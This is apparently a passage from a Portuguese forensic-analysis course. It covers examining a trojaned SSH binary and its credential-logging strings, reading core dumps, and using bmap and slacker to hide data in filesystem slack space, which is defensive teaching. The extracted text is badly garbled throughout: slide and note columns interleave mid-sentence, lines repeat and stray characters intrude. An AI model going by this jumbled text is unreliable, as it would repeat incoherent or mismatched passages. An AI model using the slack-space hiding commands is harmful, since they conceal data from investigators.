aprofundada em determinadas evidências.

Aprenderemos a analisar evidências em arquivos de core dump, a examinar arqui-


vos binários, e descobriremos como os invasores utilizam os espaços desperdiça-
dos no fim dos blocos de dados para ocultar evidências.

Análise de executáveis Análise de executáveis

Regras durante uma análise de executáveis: Algumas regras a serem seguidas durante uma aná-
Jamais execute o programa em sua estação forense; utilize lise de executáveis:
uma máquina separada e isolada exclusivamente para isso
A máquina de análise não deve estar conectada na internet \\Jamais execute o programa em sua estação
Inicie a análise com ferramentas mais simples, como file,
strings e ldd forense; utilize uma máquina separada e isolada
Somente após coletar todas as informações possíveis com exclusivamente para isso;
estas ferramentas é que deve ser feita uma engenharia reversa
do código \\A máquina de análise não deve estar conectada
Em último caso deve-se executar o programa em um ambiente
controlado e isolado da rede na internet; conecte-a a outra máquina através
Jamais confie em um programa suspeito de um hub ou cabo cross-over, para o caso do
programa tentar conectar-se à rede. Deste modo
você poderá monitorar a atividade;

\\Inicie a análise com ferramentas mais simples, como file, strings e ldd;

\\Somente após coletar todas as informações possíveis com estas ferramentas


é que deve ser feita uma engenharia reversa do código;

\\Em último caso, se for realmente necessário, deve-se executar o programa em um


ambiente controlado e isolado da rede. Jamais confie em um programa suspeito.

É importante deixar claro que nunca se deve executar programa desconhecido


em um ambiente conectado à rede. Mesmo que o binário pareça inofensivo, pode
conter código malicioso escondido que poderia comprometer a máquina ou outros
computadores da rede.

Análise forense – Sessão de aprendizagem 6


101

# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls8


Análise de executáveis
...
92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002
Vamos usar como exemplo um arquivo que foi /mnt/image/usr/bin/smbd\ -D
encontrado em uma sessão anterior:
O comando find acima foi visto anteriormente, e continha
# find /mnt/image/ -anewer /mnt/image/dev/hdx1
-ls
a referência ao arquivo que vamos usar como exemplo.
...
92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 O comando istat mostra as datas de acesso e modi-
2002 /mnt/image/usr/bin/smbd\ -D
ficação do inode, que confirmam que o arquivo foi
criado aproximadamente no horário em que estava
ocorrendo a invasão. A data de modificação do
arquivo (isto é, do conteúdo do arquivo) é antiga, pois
o arquivo provavelmente foi extraído de um arquivo
TAR que mantém a data de modificação original.

O arquivo é suspeito, pois foi criado no período em


Análise de executáveis
que ocorreu a invasão:

Arquivo suspeito criado no período da invasão: # istat /data/compromised/compromised_hda1.img 920308


# istat /data/compromised/compromised_hda1.img 92030
inode: 92030 inode: 92030
uid / gid: 0 / 0 uid / gid: 0 / 0
mode: -rwxr-xr-x mode: -rwxr-xr-x
size: 672527
size: 672527
Accessed: Sun Aug 10 16:54:18 2003
File Modified: Wed Sep 4 00:54:10 2002 Accessed: Sun Aug 10 16:54:18 2003
Inode Modified: Sun Aug 10 14:33:33 2003 File Modified: Wed Sep 4 00:54:10 2002
Inode Modified: Sun Aug 10 14:33:33 2003

# file /mnt/image/usr/bin/smbd\ -D8


Análise de executáveis
/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executa
ble, Intel 80386, version 1 (SYSV), for GNU/Linux 2
Comece a procurar pelas informações mais fáceis: .0.0, dynamically linked (uses shared libs), not st
# file /mnt/image/usr/bin/smbd\ -D
ripped
/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executable,
Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, # cp /mnt/image/usr/bin/smbd\ -D ‘/data/compromised
dynamically linked (uses shared libs), not stripped /smbd –D’8
# cp /mnt/image/usr/bin/smbd\ -D ‘/data/compromised/smbd –
D’
# ldd /data/compromised/smbd\ -D # ldd /data/compromised/smbd\ -D8
linux-gate.so.1 => (0xffffe000)
linux-gate.so.1 => (0xffffe000)
libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000)
libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000) libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000)
libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000) libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)
libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)

Pelo comando file vemos que o arquivo não teve os


símbolos removidos, o que pode auxiliar na análise. Trata-se de um executável
para Linux ligado dinamicamente a bibliotecas locais.

Vemos pelo resultado do comando ldd que o executável smbd utiliza funções da
biblioteca de criptografia do sistema.

Recuperação e análise de evidências (parte 2)


102
Escola Superior de Redes RNP

Uma procura por strings dentro do executável pode


Análise de executáveis
fornecer informações muito úteis:
Uma procura por strings dentro do executável pode fornecer informações
muito úteis: # strings -a ‘/data/compromised/smbd –D’8
# strings -a ‘/data/compromised/smbd –D’
/lib/ld-linux.so.2 /lib/ld-linux.so.2
libcrypt.so.1
/usr/include//iceconf.h libcrypt.so.1
By-ICE_4_All ( Hackers Not Allowed! ) /usr/include//iceconf.h
sshd version %.100s [%.100s]
Bind to port %d failed: %.200s. By-ICE_4_All ( Hackers Not Allowed! )
Server listening on port %d.
Connection from %.100s port %d
sshd version %.100s [%.100s]
SSH-%d.%d-%.50s Bind to port %d failed: %.200s.
Your ssh version is too old and is no longer supported. Please
install a newer version. Server listening on port %d.
+-[ User Login Incoming ]----------- --- --- - -
Connection from %.100s port %d
| username: %s password: %s%s hostname: %s
ROOT LOGIN as '%.100s' from %.100s SSH-%d.%d-%.50s
/usr/include//icekey.h
/usr/include//iceseed.h Your ssh version is too old and is no longer suppor
ted. Please install a newer version.
+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
ROOT LOGIN as ‘%.100s’ from %.100s
/usr/include//icekey.h
/usr/include//iceseed.h

As strings acima foram resumidas e mostram apenas algumas partes mais importantes.

Podemos ver referências a arquivos dentro do diretório /usr/include, e mensagens


sobre o autor da ferramenta. Também podemos ver que trata-se de um servidor
SSH, possivelmente modificado pelo hacker. Além disso, vemos um texto que
parece ser parte de um log (user login incoming), possivelmente um log adicional
que a ferramenta gera além do log normal do SSH. No fim, mais referências a
arquivos no /usr/lib.

Podemos ver na saída das strings informações que


Análise de executáveis
sugerem que o arquivo é um servidor SSH. Podemos
Podemos ver indicações de possíveis arquivos para procurar
até mesmo ver indicações de possíveis arquivos
no disco: para procurar no disco:
# ls -li /mnt/image/usr/include/ice*
92015 -rw-r--r-- 1 root root 692 May 16 2003
/mnt/image/usr/include/iceconf.h # ls -li /mnt/image/usr/include/ice*8
91850 -rw------- 1 root root 539 May 24 2002
/mnt/image/usr/include/icekey.h 92015 -rw-r--r-- 1 root root 692 May 16 2003 /mnt/i
3176 -rw-r--r-- 1 root root 5 Aug 10 2003 mage/usr/include/iceconf.h
/mnt/image/usr/include/icepid.h 91850 -rw------- 1 root root 539 May 24 2002 /mnt/i
92007 -rw------- 1 root root 512 Aug 10 2003 mage/usr/include/icekey.h
/mnt/image/usr/include/iceseed.h
# file /mnt/image/usr/include/ice* 3176 -rw-r--r-- 1 root root 5 Aug 10 2003 /mnt/imag
/mnt/image/usr/include/iceconf.h: ASCII text e/usr/include/icepid.h
/mnt/image/usr/include/icekey.h: data 92007 -rw------- 1 root root 512 Aug 10 2003 /mnt/i
/mnt/image/usr/include/icepid.h: ASCII text
mage/usr/include/iceseed.h
/mnt/image/usr/include/iceseed.h: data

# file /mnt/image/usr/include/ice*8
/mnt/image/usr/include/iceconf.h: ASCII text
/mnt/image/usr/include/icekey.h: data
/mnt/image/usr/include/icepid.h: ASCII text
/mnt/image/usr/include/iceseed.h: data

Os arquivos ainda estão presentes no disco e, de acordo com o comando file,


contêm texto e dados binários. Algumas vezes, a análise de executáveis pode ser
facilitada se encontramos mais evidências no disco para apoiar a análise.

Análise forense – Sessão de aprendizagem 6


103

Examinando um dos arquivos de texto, vemos que real-


Análise de executáveis
mente é um arquivo de configuração de servidor SSH:
Arquivo de configuração de servidor SSH: # cat /mnt/image/usr/include/iceconf.h8

# cat /mnt/image/usr/include/iceconf.h  # This is ssh server systemwide configuration file.


# This is ssh server systemwide configuration file. Port 2003
Port 2003
ListenAddress 0.0.0.0
ListenAddress 0.0.0.0
HostKey /usr/include//icekey.h HostKey /usr/include//icekey.h
RandomSeed /usr/include//iceseed.h RandomSeed /usr/include//iceseed.h
ServerKeyBits 768
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 1 LoginGraceTime 600
PermitRootLogin yes KeyRegenerationInterval 1
PermitRootLogin yes

Um dos arquivos encontrados é realmente uma con-


figuração de servidor SSH. Podemos ver que a porta onde este servidor escuta é
a 2003, uma porta que não é comum. Seria interessante correlacionar este tipo
de informação com informações de dispositivos de rede e firewall, para ver se
realmente ocorreu alguma atividade nesta porta.

Fazendo um exame de um dos arquivos de dados,


Análise de executáveis
obtemos a chave privada do servidor com a identifi-
cação do usuário que a gerou:
Chave privada do servidor com identificação do
usuário que a gerou:
# strings -a /mnt/image/usr/include/icekey.h8
# strings -a /mnt/image/usr/include/icekey.h SSH PRIVATE KEY FILE FORMAT 1.1
SSH PRIVATE KEY FILE FORMAT 1.1
"0w:
“0w:
RXqU_C RXqU_C
root@lessons.menchey.com} root@lessons.menchey.com}
z>'|E
b9jH2 z>’|E
\=?0 b9jH2
;d-) \=?0
L=7~=
(e8 ;d-)
L=7~=
(e8

Quando um servidor SSH é instalado, precisa de uma chave privativa para fun-
cionar. A chave é gerada de acordo com usuário e host, e neste caso podemos
ver que a informação ficou gravada no arquivo e pode dar indicações de onde o
hacker esteve antes de invadir o sistema.

Recuperação e análise de evidências (parte 2)


104
Escola Superior de Redes RNP

Análise do código
Análise do código

Somente depois de conseguir o máximo de informa-


Após conseguir o máximo de informações sobre o
programa, o analista realiza a engenharia reversa do ções possíveis sobre o programa (lembre-se de usar
programa. o Google), é que o analista deve tentar realizar a
Realizar a engenharia reversa significa transformar o engenharia reversa do programa.
código de máquina novamente em código-fonte, para
analisar as funções do programa.
Pode revelar funções obscuras do programa. Realizar a engenharia reversa de um programa signi-
Este conhecimento pode ser útil para evitar novas fica transformar o código de máquina novamente em
invasões ou para eliminar as que ainda existem. código-fonte, para analisar as funções do programa.
Algumas vezes é necessário fazer isso para desco-
brir funções obscuras do programa. Por exemplo,
se a ferramenta encontrada for um bot, talvez seja
necessário identificar o endereço do controlador, como o invasor faz para se
autenticar e controlar o bot. Este conhecimento pode ser útil para evitar novas
invasões ou para eliminar as que ainda existem.

Bot (do inglês robot) é um programa que permite que um invasor controle toda a
máquina remotamente. Uma rede de computadores infectados com bot forma uma
botnet e permite que o invasor controle centenas de computadores ao mesmo
tempo, através de um servidor central conhecido como controlador da botnet.

Existem diversos métodos de controle de botnet, sendo os mais comuns o IRC e


o HTTP. Por isso, algumas vezes é importante realizar a análise do binário para
conhecer mais sobre a ferramenta e prevenir a instituição de outras invasões.

Vamos ver uma ferramenta escrita em Perl, com


Análise do código
interface gráfica para Linux. Chama-se LDasm, e não
faz parte do CD do Helix:
Diversas ferramentas fazem engenharia reversa de
código:
# /data/tools/LDasm0.04.53/bin/ldasm8
OllyDBG
IDA Pro A engenharia reversa de binários é extremamente
Entre outras complexa, necessitando de conhecimento aprofun-
LDasm: dado de linguagens de programação e do sistema
Ferramenta escrita em Perl, com interface gráfica para
operacional do binário; normalmente é preciso
Linux
Não faz parte do CD do Helix dedicar muitas horas de análise para identificar as
# /data/tools/LDasm0.04.53/bin/ldasm funcionalidades de um programa.

O conteúdo necessário para explicar este tipo de


análise seria suficiente para outro curso com a mesma extensão deste. Não
vamos nos aprofundar na realização de engenharia reversa, o que está fora dos
objetivos deste curso. O aluno que tiver conhecimentos de assembler e programa-
ção poderá se aprofundar no assunto.

Análise forense – Sessão de aprendizagem 6


105

Aqui temos um exemplo do LDasm, mostrando o arquivo exemplo aberto na parte


do código que faz referência às strings vistas anteriormente.

Se realmente for necessário, o investigador pode execu-


Análise do código
tar o programa em um ambiente controlado e isolado.

O investigador pode executar o programa em um


ambiente controlado e isolado. Conecte a estação em um hub, switch ou cabo cross-
O primeiro passo é encontrar o ponto de início do over para monitorar a atividade de rede. Mesmo
programa: assim, execute o programa dentro de um depurador
# nm /data/compromised/smbd\ -D
de código, como o GDB, OllyDBG ou IDA Pro.
08054ccc T MD5Final
08054be0 T MD5Init O primeiro passo é encontrar o ponto de início do
...
programa:
08049b84 ? _init

# nm /data/compromised/smbd\ -D8
08054ccc T MD5Final
08054be0 T MD5Init
...

08049b84 ? _init

Aqui ficam os avisos sobre executar o binário em um ambiente controlado e isolado.

Com o comando nm, vemos as funções que o programa exporta ou importa das
bibliotecas, e também a função inicial do programa, chamada logo que ele é
carregado na memória. Esta é a função que devemos procurar em um depurador,
para interromper o programa antes que ele execute alguma função perigosa.

Recuperação e análise de evidências (parte 2)


106
Escola Superior de Redes RNP

Agora, podemos executar o programa passo a


Análise do código
passo com o depurador:
Executando o programa com o depurador: # /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D8
# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D
(gdb) b * 0x08049b84
Breakpoint 1 at 0x8049b84
(gdb) b * 0x08049b84
(gdb) run
Breakpoint 1 at 0x8049b84
Starting program: /data/compromised/smbd -D
Breakpoint 1, 0x08049b84 in _init ()

(gdb) stepi (gdb) run


0x08049b85 in _init ()
Starting program: /data/compromised/smbd -D
(gdb) bt
#0 0x08049b85 in _init () Breakpoint 1, 0x08049b84 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/tls/libc.so.6
#2 0x0804a501 in _start ()

(gdb) disassemble 0x08049b85 0x08049baa


Dump of assembler code from 0x8049b85 to 0x8049baa:
(gdb) stepi
0x08049b85 <_init+1>: mov %esp,%ebp
0x08049b85 in _init ()

(gdb) bt
#0 0x08049b85 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/
tls/libc.so.6
#2 0x0804a501 in _start ()
(gdb) disassemble 0x08049b85 0x08049baa
Dump of assembler code from 0x8049b85 to 0x8049baa:
0x08049b85 <_init+1>: mov %esp,%ebp

Observamos a sessão de execução do programa dentro do depurador. Inicialmente,


criamos um breakpoint, ou ponto de parada do programa, para que ele não execute
totalmente. Dessa forma, o programa vai parar na função onde criamos o breakpoint.
No caso, estamos criando o breakpoint na função init, como vimos anteriormente.
A seguir, executamos o programa e ele pára no ponto onde marcamos.

Com o comando step podemos ir avançando linha por linha do código, para saber
as funções do programa. O comando bt mostra o backtrace do programa, isto
é, a pilha de chamadas de funções do programa, que serve para conhecer mais
sobre o fluxo do programa.

O comando disassemble permite ver uma parte do código assembler do programa.

Novamente, não vamos realizar aqui uma análise completa do programa, pois isso
levaria muito tempo.

Análise forense – Sessão de aprendizagem 6


107

Análise de core dump


Análise de core dump

Outros exemplos de evidências que podem nos dar


Arquivos de core dump podem fornecer boas pistas
sobre o invasor boas pistas sobre o invasor são os arquivos de core
Gerados quando algum programa executa uma dump. Estes arquivos são gerados quando algum
operação ilegal e é encerrado pelo sistema programa executa uma operação ilegal e é encerrado
Gerados quando algum programa executado não foi pelo sistema.
terminado corretamente
Armazenam uma cópia da memória do programa no
momento em que ocorreu a falha Os arquivos de core dump são gerados quando
Guardam todas as informações sobre o arquivo que o algum programa executado não foi terminado cor-
gerou, para que o programador possa descobrir o que retamente, devido a um erro grave como falta de
causou o erro.
memória, acesso indevido ou erros de programação.
São importantes porque armazenam uma cópia da
memória do programa no momento em que ocorreu a falha, e guardam todas as
informações sobre o arquivo que o gerou, para que o programador possa desco-
brir o que causou o erro. Isto é muito útil para o analista forense, pois podemos
descobrir informações sobre o programa executado e sobre quem o executou.

Vamos utilizar como exemplo o arquivo /data/com-


Análise de core dump
promised/smbd-D.core. Examinando este arquivo,
Examinando o arquivo /data/compromised/smbd-D.core, podemos
podemos encontrar informações interessantes sobre
encontrar informações interessantes sobre o programa: o programa:
# strings -a /data/compromised/smbd-D.core 
smbd -D # strings -a /data/compromised/smbd-D.core8
/data/compromised/smbd -D
Linux
smbd -D
Helix /data/compromised/smbd -D
/data/compromised/smbd –D Linux
SSH_CLIENT=192.168.47.1 4062 22
USER=root Helix
PWD=/root /data/compromised/smbd –D
LOGNAME=root
SSH_CLIENT=192.168.47.1 4062 22
SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22
USER=root
PWD=/root
LOGNAME=root
SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22

Podemos ver na saída do comando strings algumas


Análise de core dump
informações sobre o arquivo que gerou o core.
Um arquivo core dump tem algumas informações importantes
Neste caso, o comando foi o mesmo que utilizamos
sobre a ferramenta que o gerou: como exemplo. Podemos observar o nome do sis-
Nome original do executável
tema operacional e diversas variáveis de ambiente
Nome do usuário que executou o programa
Cópia das variáveis de ambiente no momento da execução que permitem identificar o usuário que rodou o
Possivelmente informações sobre a conexão SSH do invasor programa e o diretório onde ele estava, além das
(variável $SSH_CLIENT)
variáveis do SSH que permitem identificar de onde
Informações sobre o que causou o fim prematuro do programa
e a geração do core dump o invasor estava conectado no momento em que o
Se tivermos o binário original, podemos utilizar o gdb para arquivo foi gerado.
examinar o arquivo de core dump juntamente com o binário e
descobrir o que aconteceu no momento da falha

Recuperação e análise de evidências (parte 2)


108
Escola Superior de Redes RNP

Slack space
Slack space

A busca por arquivos deixados pelo invasor ou


A busca por arquivos deixados pelo invasor pode ser
demorada, exigindo paciência e dedicação. partes de arquivos, evidências de acesso ou times-
O que acontece quando a evidência que procuramos tamps das atividades pode ser demorada, exigindo
foi escondida intencionalmente, de forma que não seja paciência e dedicação.
possível encontrá-la com as ferramentas que vimos
até agora?
Existem técnicas para esconder a informação, através O que acontece quando a evidência que procuramos
das quais o dado escondido não pode ser identificado foi escondida intencionalmente, de forma que não
mesmo que se tenha acesso ao arquivo onde está seja possível encontrá-la com as ferramentas que
armazenado.
Um exemplo é a técnica chamada de Esteganografia.
vimos até agora?

Existem técnicas para esconder a informação,


em que o dado escondido não pode ser identificado mesmo que se tenha
acesso ao arquivo onde está armazenado. Um exemplo é a técnica chamada de
Esteganografia. Com ela, alguém pode esconder determinada informação dentro
de outra informação, de forma que não é possível separar os dados de uma e de
outra. Dessa forma, se você tiver acesso à informação utilizada para esconder o
dado original, não saberá que este dado está ali.

Normalmente, este espaço é desperdiçado pelo


Slack space
sistema operacional. Se um sistema de arquivos
Vimos que quando um arquivo tem um tamanho menor que o
tiver um tamanho de bloco incompatível com o tipo
tamanho do bloco, o espaço restante é desperdiçado. Este de arquivo que normalmente é armazenado nele, vai
espaço é conhecido como slack space.
O slack space é usado como técnica para esconder
haver muito desperdício de espaço.
informação.
Os blocos de dados são as menores estruturas possíveis em Por exemplo, suponha que o sistema de arquivos foi
um sistema de arquivos.
Bloco de dados formatado com blocos de 32 kb de tamanho. Isto
dados do arquivo slack space poderia ser interessante em um sistema que gravasse
arquivos grandes, pois o tamanho maior de bloco faria
Isto acontece porque cada bloco pode estar alocado por
com que as operações de leitura e escrita fossem
Slack space
apenas um inode de cada vez, e cada inode está associado a
um único arquivo. mais rápidas. Mas em um sistema que possua arquivos
pequenos, com menos de 32 Kb, cada arquivo gravado
em disco ocuparia somente um único bloco, mas não
o bloco inteiro.
Vimos que quando um arquivo tem um tamanho menor que o
tamanho
Assim, se do
vocêbloco, o espaço
gravar 100 arquivos de restante é disco,
1 kb neste desperdiçado.
ocuparia 3200Este
kb (100
* 32 kb) em vez de 100 kb (100 * 1kb), como seria de se esperar. A razão disto
espaço é conhecido como slack space.
é que cada bloco pode estar alocado em apenas um inode de cada vez, e cada
O inode space aéum
slackassociado usado como técnica para esconder
único arquivo.
informação.
Qualquer sistema de arquivos, com qualquer tamanho de bloco, está sujeito a
Osesse
blocos
tipo dede dados são
desperdício, as menores
pois dificilmente estruturas
os arquivos terão umpossíveis
tamanho numem
umvalor
sistema
múltiplo de arquivos.
do tamanho do bloco.

Bloco de dados
dados do arquivo slack space

Isto acontece porque cada bloco pode estar alocado por


Análise forense – Sessão de aprendizagem 6

apenas um inode de cada vez, e cada inode está associado a


um único arquivo.
109

Exemplo:
Slack space
# du -sb /data/dirt_list.txt8
Exemplo: 60 /data/dirt_list.txt
# du -sb /data/dirt_list.txt
60 /data/dirt_list.txt # du -sk /data/dirt_list.txt8
# du -sk /data/dirt_list.txt 4 /data/dirt_list.txt
4 /data/dirt_list.txt
Mas o que isso tem a ver com esconder informação?
Contando que este espaço desperdiçado sempre vai existir, No exemplo, o arquivo tem 60 bytes, o que mostra
foram desenvolvidas ferramentas para esconder informações
nele. o primeiro comando. O segundo comando, ao mos-
O bmap é uma ferramenta para esconder dados no slack space trar o tamanho em kb, informa que o arquivo tem 4
de qualquer arquivo, ou até mesmo em um diretório inteiro, e
depois recuperar essas informações quando for necessário. kb, pois este é o espaço que ele ocupa em disco,
contando o slack space. O arquivo ocupa um bloco
inteiro, apesar de só utilizar 60 bytes deste bloco
para seus dados.

Este espaço extra pode ser utilizado para esconder informação. Como os dados
do arquivo não são modificados, sua assinatura SHA1 não é modificada, e como
não há nenhuma referência aos dados que estão neste espaço extra, o sistema
operacional nunca sabe que ele existe.

É possível até mesmo utilizar todos os arquivos de um diretório para armazenar


um dado, se este tiver um tamanho maior do que o que caberia em um único
slack space de um bloco.

Vejamos alguns exemplos:


Slack space
# bmap --mode slackbytes /data/dirt_list.txt8
Exemplos:
4036
# bmap --mode slackbytes /data/dirt_list.txt
4036
# cat /data/badfiles_hashs.sha1 | bmap --mode putsla
# cat /data/badfiles_hashs.sha1 | bmap --mode ck /data/dirt_list.txt8
putslack /data/dirt_list.txt
stuffing block 1540604 stuffing block 1540604
file size was: 60
file size was: 60
slack size: 4036
block size: 4096 slack size: 4036
# bmap --mode slack /data/dirt_list.txt block size: 4096
getting from block 1540604
8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod # bmap --mode slack /data/dirt_list.txt8
44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo
getting from block 1540604
8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod
44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo

No primeiro exemplo, checamos o espaço disponível


no slack space de um arquivo.

A seguir, escondemos um dado neste espaço. Veja que o programa bmap recebe
os dados que vão ser gravados no slack space através do STDIN, e o arquivo
especificado no comando é o arquivo onde vai ser gravada a informação.

O último comando mostra como recuperar uma informação no slack space.

Recuperação e análise de evidências (parte 2)


110
Escola Superior de Redes RNP

Vejamos alguns exemplos:


Slack space
# dcat /dev/sda5 1540604 | hexdump -C8
Vejamos alguns exemplos: 00000000 74 74 79 6f 70 0a 74 74 79 6f 61 0a 74 74
79 6f |ttyop.ttyoa.ttyo|
# dcat /dev/sda5 1540604 | hexdump -C
00000000 74 74 79 6f 70 0a 74 74 79 6f 61 0a 74 74 79 6f 00000010 66 0a 68 64 78 31 0a 68 64 78 32 0a 73 73
|ttyop.ttyoa.ttyo|
00000010 66 0a 68 64 78 31 0a 68 64 78 32 0a 73 73 68 64
68 64 |f.hdx1.hdx2.sshd|
|f.hdx1.hdx2.sshd|
00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20 76 65 | version.Bash
00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20
ve| 76 65 | version.Bash ve|
00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20 76 65 | version.Bash
ve| 00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20
00000030 72 73 69 6f 6e
|rsion.\w@\w.8bc9|
0a 5c 77 40 5c 77 0a 38 62 63 39 76 65 | version.Bash ve|
00000030 72 73 69 6f 6e 0a 5c 77 40 5c 77 0a 38 62
# ls -l /data/dirt_list.txt
-rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_list.txt
63 39 |rsion.\w@\w.8bc9|
# cat /data/compromised/smbd-D.core | slacker --mode fill /data/tools

# slacker --mode pour /data/tools > /tmp/test.dat # ls -l /data/dirt_list.txt8


-rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_li
st.txt

# cat /data/compromised/smbd-D.core | slacker


--mode fill /data/tools8

# slacker --mode pour /data/tools > /tmp/test.dat8

Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a
informação foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito,
são do arquivo original, enquanto o restante faz parte do arquivo que foi escondido.

Normalmente, em um bloco sem informação escondida existiriam somente bytes


0x00 nestas posições ou restos de arquivos anteriores e dos buffers de gravação na
memória.

Os dois últimos exemplos mostram a ferramenta slacker, que permite gravar uma
informação em mais de um arquivo. Ela funciona da seguinte forma: lista o slack
space em cada arquivo do diretório passado como parâmetro, e grava um pedaço
da informação em cada arquivo até terminar o dado.

O último comando mostra como recuperar o arquivo deste diretório. Como não é
possível saber onde a informação acaba, o comando acima vai ler o slack space de
todos os blocos no diretório, mesmo que eles não tenham sido usados para gravar a
informação original; por isso, para recuperar o arquivo original é necessário saber o
tamanho total do arquivo, e separar esses bytes de dentro do arquivo /tmp/test.dat.

Como não modificamos o conteúdo do arquivo, mas


Slack space
somente do espaço desperdiçado, nenhuma ferramenta
que verifique a integridade do sistema vai acusar a
Nenhuma ferramenta que verifique a integridade do
sistema vai acusar a presença destes dados. presença destes dados.
Se o arquivo for apagado o bloco de dados pode ser
alocado em outro arquivo e a informação no slack Como o espaço utilizado para armazenar os dados
space pode ser sobrescrita.
é o espaço desperdiçado em um bloco, se o arquivo
O mesmo acontece se o arquivo que utilizamos para
armazenar a informação aumentar de tamanho. for apagado o bloco de dados pode ser alocado em
Por isso, esta informação é considerada volátil. outro arquivo e a informação no slack space pode
Existem ferramentas que permitem criar um sistema ser sobrescrita.
de arquivos completo dentro do slack space de um
diretório.

Análise forense – Sessão de aprendizagem 6


111

O mesmo acontece se o arquivo que utilizamos para armazenar a informação


aumentar de tamanho. Por isso, esta informação é considerada volátil. Mesmo
assim, existem ferramentas que permitem criar até mesmo um sistema de arquivos
completo dentro do slack space de um diretório.

Conclusões
Conclusões

Apenas recuperar arquivos apagados pode não ser suficiente


Na próxima sessão reuniremos todas as evidências
Em alguns casos, precisamos nos aprofundar nas provas, e encontradas para correlacioná-las em uma linha de
descobrir as funcionalidades de um executável desconhecido
tempo. Com isso, vamos tentar descobrir como e
Podemos descobrir informações sobre o programa com
ferramentas básicas ou realizar uma análise avançada, fazendo quando o ataque ocorreu e identificar o que foi feito
a engenharia reversa do código ou executando o programa em na máquina após a invasão. Esta informação será útil
ambiente controlado
A análise do conteúdo de arquivos core dump pode fornecer para que a empresa se proteja de ataques futuros.
informações sobre o invasor e a ferramenta
Precisamos procurar até mesmo onde nem imaginamos haver
informação, como no slack space dos blocos de disco

Recuperação e análise de evidências (parte 2)


112
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 6


6
Sessão de aprendizagem 6
Recuperação e análise de evidências
(parte 2)
Roteiro de atividades
Tópicos e conceitos

\\Investigação do conteúdo dos arquivos e descoberta de ferramentas


necessárias para pesquisas avançadas.

Competências técnicas desenvolvidas

\\Utilização de comandos que fazem análise do conteúdo de arquivos.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90-120 minutos
114
Escola Superior de Redes RNP

Atividade 1 – Análise do conteúdo do arquivo

1. Um dos arquivos encontrados na sessão passada continha uma série de


ferramentas instaladas na máquina pelo invasor. Além disso, o pacote
continha cópias de binários comumente encontrados na máquina.
Examine os arquivos ifconfig, ls, netstat, ps e syslogd e faça um relatório
resumindo o que você acha que estes programas fazem. Utilize as
técnicas vistas durante a sessão, mas não é necessário realizar a
engenharia reversa do código (faça apenas se achar que consegue). A
atividade deve ser feita em dupla.

2. Outro arquivo que existe nesse pacote é um arquivo de core-dump.


Analise este arquivo e faça um relatório com as informações que
encontrar. O que você pode dizer sobre o usuário que gerou esse
arquivo?

Atividade 2 – Busca de ferramentas na internet

Procure na internet mais informações sobre o uso do Slack Space em


sistemas de arquivos. Quais restrições existem para usar o Slack Space?
Para quais sistemas de arquivos existem ferramentas para usar este
espaço? Faça um relatório sobre o que encontrar, incluindo descrições
breves das ferramentas e de como elas funcionam.

Análise forense – Sessão de aprendizagem 6


7
Sessão de aprendizagem 7
Linha de tempo e reconstrução do ataque

Sumário da sessão

Linha de tempo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116

Ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116

Correlação de informações. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117

Reconstrução do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121

Atividade 1 – Determinando a linha do tempo. . . . . . . . . . . . . . . . . . . . . . . . . 122

Atividade 2 – Identificando os eventos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122


116
Escola Superior de Redes RNP

Linha de tempo
p
Linha de tempo

A linha de tempo é útil para que a instituição se proteja


Obj ti
Objetivo
Criar um histórico das ações e eventos encontrados no sistema de futuros ataques, pois permite estudar o modo de
comprometido de forma a identificar quando
comprometido, q ando e como ocorreu
ocorre a operação dos invasores e ajudar a melhorar as defesas
invasão, dando uma visão clara do ataque e dos métodos
utilizados pelo invasor para invadir e tomar o controle do da instituição.
sistema.
Problemas
Além da correlação com fontes externas, o investigador
As informações coletadas em um sistema comprometido não
são confiáveis, e por isso é importante o analista correlacionar pode detectar inconsistências em alguma evidência
